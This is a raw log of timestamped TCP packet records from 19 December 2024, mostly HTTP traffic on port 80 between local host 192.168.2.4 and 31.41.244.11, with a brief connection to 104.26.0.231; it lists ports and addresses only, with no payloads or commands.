Dec 19, 2024 20:11:21.663064003 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.663104057 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.664047956 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.664097071 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.664280891 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.665201902 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.665252924 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.665324926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.666296959 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.666349888 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.666374922 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.666455030 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.667443037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.667548895 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.667593002 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.668498993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.668580055 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.668632030 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.669657946 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.670115948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.670171976 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.670782089 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.670795918 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.670861006 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.671744108 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.672801018 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.672854900 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.673276901 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.673290968 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.673331976 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.674927950 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.674941063 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.674994946 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.675848961 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.675867081 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.675905943 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.675935030 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.676177979 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.676223993 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.676394939 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.676480055 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.677242041 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.677305937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.677706003 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.677743912 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.678355932 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.678401947 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.678467035 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.678523064 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.679414988 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.679460049 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.679591894 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.679639101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.680635929 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.680682898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.680736065 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.681622982 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.681679964 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.681788921 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.682003975 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.682693005 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.682921886 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.683085918 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.683202028 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.683933973 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.683945894 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.683993101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.684974909 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.685786963 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.685836077 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.686039925 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.686459064 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.686470032 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.687036037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.687077999 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.687103033 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.688247919 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.688299894 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.688337088 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.689338923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.689387083 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.689393044 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.689428091 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.690329075 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.690459013 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.690522909 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.690562963 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.691375971 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.691416025 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.691749096 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.692464113 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.692508936 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.692853928 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.693584919 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.693628073 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.693854094 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.693897963 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.694724083 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.694761992 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.694811106 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.694848061 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.695847034 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.695895910 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.695975065 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.696326017 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.696873903 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.696913004 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.696978092 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.697025061 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.697997093 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.698054075 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.698210001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.698263884 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.699295044 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.699392080 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.699445963 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.699681997 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.700160980 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.700212002 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.700330973 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.700373888 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.701242924 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.701317072 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.701328039 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.701381922 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.702316046 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.702368975 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.702507973 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.702738047 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.703417063 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.703650951 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.703711033 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.704679012 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.704732895 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.705317020 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.705434084 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.705760002 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.705779076 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.705806971 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.705833912 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.706676960 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.706732988 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.706773996 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.706830978 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.707772017 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.707835913 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.708025932 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.708075047 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.708484888 CET	80	49796	104.26.0.231	192.168.2.4
Dec 19, 2024 20:11:21.708549023 CET	49796	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:21.708910942 CET	49796	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:21.708941936 CET	49796	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:21.708951950 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.708965063 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.709006071 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.709120989 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.710038900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.710100889 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.710125923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.710170031 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.711074114 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.711132050 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.711182117 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.711416006 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.712152958 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.712199926 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.712505102 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.712693930 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.713263988 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.713407040 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.713602066 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.713659048 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.714381933 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.714440107 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.714520931 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.714559078 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.715523958 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.715574980 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.715981007 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.716027021 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.716731071 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.716772079 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.716881037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.717034101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.717753887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.717803001 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.718113899 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.718162060 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.718699932 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.718741894 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.718835115 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.719106913 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.719801903 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.719857931 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.854608059 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.854670048 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.854825020 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.854871988 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.855058908 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.855118990 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.855242968 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.855300903 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.855345011 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.855401039 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.856386900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.856436968 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.856784105 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.856846094 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.857511044 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.857569933 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.857583046 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.857630014 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.858469963 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.858529091 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.858671904 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.858726025 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.859683990 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.859734058 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.860438108 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.860482931 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.860733986 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.860783100 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.861903906 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.861917973 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.861974001 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.862076044 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.862128973 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.862973928 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.863023996 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.863157988 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.863322973 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.864149094 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.864193916 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.864383936 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.864432096 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.865242004 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.865289927 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.865502119 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.865552902 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.866230011 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.866274118 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.866276026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.866324902 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.867197990 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.867265940 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.868412018 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.868488073 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.868493080 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.868506908 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.868556023 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.869501114 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.869565964 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.869698048 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.869743109 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.870548010 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.870623112 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.870780945 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.870969057 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.871639013 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.871682882 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.871795893 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.871865034 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.872719049 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.872766018 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.873411894 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.873460054 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.873828888 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.873929977 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.873939037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.873985052 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.875062943 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.875077009 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.875128031 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.875968933 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.876022100 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.876247883 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.876296043 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.877101898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.877155066 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.877228975 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.877278090 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.878632069 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.878684998 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.878745079 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.878791094 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.879297018 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.879344940 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.879817963 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.879863024 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.880536079 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.880584002 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.881556988 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.881730080 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.881808043 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.881819963 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.881855965 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.882711887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.882757902 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.882778883 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.882828951 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.883630991 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.883716106 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.884905100 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.884917021 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.884963989 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.885123014 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.885179996 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.885982037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.886037111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.886344910 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.886394978 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.886928082 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.886975050 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.887213945 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.887258053 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.888005972 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.888134956 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.888389111 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.888436079 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.889066935 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.889116049 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.889347076 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.889393091 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.890134096 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.890183926 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.890343904 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.890391111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.891216993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.891273975 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.891612053 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.891661882 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.892309904 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.892357111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.892772913 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.892838001 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.893686056 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.893697977 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.893744946 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.894515038 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.894576073 CET	49794	80	192.168.2.4	31.41.244.11
